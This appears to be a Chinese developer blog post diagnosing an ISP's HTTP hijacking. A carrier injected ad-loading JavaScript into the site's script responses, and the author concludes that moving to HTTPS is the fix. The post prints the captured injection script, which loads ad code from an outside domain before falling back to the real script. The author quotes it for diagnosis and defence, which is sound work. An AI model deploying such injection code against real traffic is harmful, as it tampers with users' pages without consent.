博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
ISP劫持http请求
阅读量:7036 次
发布时间:2019-06-28

本文共 3705 字,大约阅读时间需要 12 分钟。


title: ISP劫持http请求 tags:

  • http劫持
  • js
  • 运营商 categories: 工作日志 date: 2017-04-25 18:18:53

最近业务系统经常受到前端报错邮件

发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持

经过现场排查发现出错画面部分js加载出错

区别在于错误的js会先插入一个广告js

为区别是否dns劫持查看NetWork面板

IP正确并且为我方服务器IP确认并非为DNS攻击。

由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)

返回js如下

(function () {        try {            var o = 'm-_-m',                D = document;            if (!D.getElementById(o)) {                var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',                    J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),                    M = 'http://pc.quansj.cn/?cid=08',                    C = D.currentScript,                    H = D.getElementsByTagName('head')[0],                    N = function (s, i) {                        var I = D.createElement('script');                        I.type = 'text/JavaScript';                        if (i) I.id = i;                        I.src = s;                        H.appendChild(I);                    };                if (self == top) {                    N(M, o);                }                if (!C) {                    C = (function () {                        var S = D.scripts,                            l = S.length,                            i = 0;                        for (; i < l; ++i) {                            if (S[i].src === j) {                                return S[i];                            }                        }                    })();                }                C && ((C.defer || C.async) ? N(J) : D.write('

通过域名Whois反查

发现旗下域名

有好几个都是广告劫持网站

貌似和一个说脱口秀的(赵本山徒弟)同名………………该不是同一个人吧/(ㄒoㄒ)/~~

和沈阳联通沟通后无果,拒不承认存在劫持。目前正在求助工信部,不知能否有解决方案。

github上已经有针对该地址的adblock了……明显辽宁联通

看了一下js选项,正常情况下会执行到

C&&((C.defer||C.async)?N(J):D.write('

代码做了判断,如果支持defer或者async这直接append异步加载js,当不支持则直接通过document写入(同步执行)

也就是说理论上会同步加载我们服务器上的js~但是事实上出现了大量的js未加载到

经过查阅发现chrome有个设置(据说chrome55(?)+版本后优化)可以尝试一下

chrome://flags/#disallow-doc-written-script-loads

具体说明如下

With this data in mind, Chrome, starting with version 55,  on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See ). Specifically Chrome will not execute the <script> elements injected via document.write()when all of the following conditions are met:

  1. The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
  2. The document.write() is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.
  3. The script in the document.write() is parser-blocking. Scripts with the '' or '' attributes will still execute.
  4. The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on ).
  5. The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
  6. The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.

Third party snippets sometimes use document.write() to load scripts. Fortunately, most third parties provide , which allow third party scripts to load without blocking the display of the rest of the content on the page.

貌似我们不符合条件4  暂时先考虑一下

代码format完后大惊失色……整个加载js的前提是画面中没有id为m-_-m的节点。否则不会进行加载js ,即不会执行document.write

如果悲催的是我们画面中存在2个或两个以上的js被劫持,那么除了第一个js其余均不会加载。

那么查看了一下js请求(带有queryString),发现

果然当时客户的请求了commonjs,也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………

再说一下关于我们首页的劫持(跳转?)

明显也是江苏宽带(南京电信)的劫持……

哭不出来好么

只能上https了……

转载地址:http://zqnal.baihongyu.com/

你可能感兴趣的文章
Spring基础学习(三)—详解Bean(下)
查看>>
循环和闭包
查看>>
java注解
查看>>
Centos 7.4 源码安装 redis-5.0.4
查看>>
多比图形控件(Web版)教程(二):Html/asp/jsp绘图的第一个例子
查看>>
说一说本人对linux系统学习的方法和经验
查看>>
细数Linux与Unix差异
查看>>
IBM Bluemix体验与评价
查看>>
MySQL5.7安装与配置(YUM)
查看>>
该程序的输出结果?
查看>>
java关于安卓,苹果输入表情数据库处理
查看>>
LINUX SVN 禁止删除操作和强制填写日志
查看>>
sui mobile 通过路由(ajax、内联)跳转到新页面时,js不执行
查看>>
QNX日志系统slog,sloginfo
查看>>
使用jquery触发a标签跳转注意事项
查看>>
06、Vue.js---watch 属性(观察者)
查看>>
1月8日云栖精选夜读:如何像阿里巴巴一样高效跨企业项目协作
查看>>
业界 | Teradata全球调研:四分之三企业分析项目数据科学家“缺货”
查看>>
Spring 实现发送电子邮件的两种方法
查看>>
JavaWEB开发中用到DWR时的配置、调用、Form提交的方法
查看>>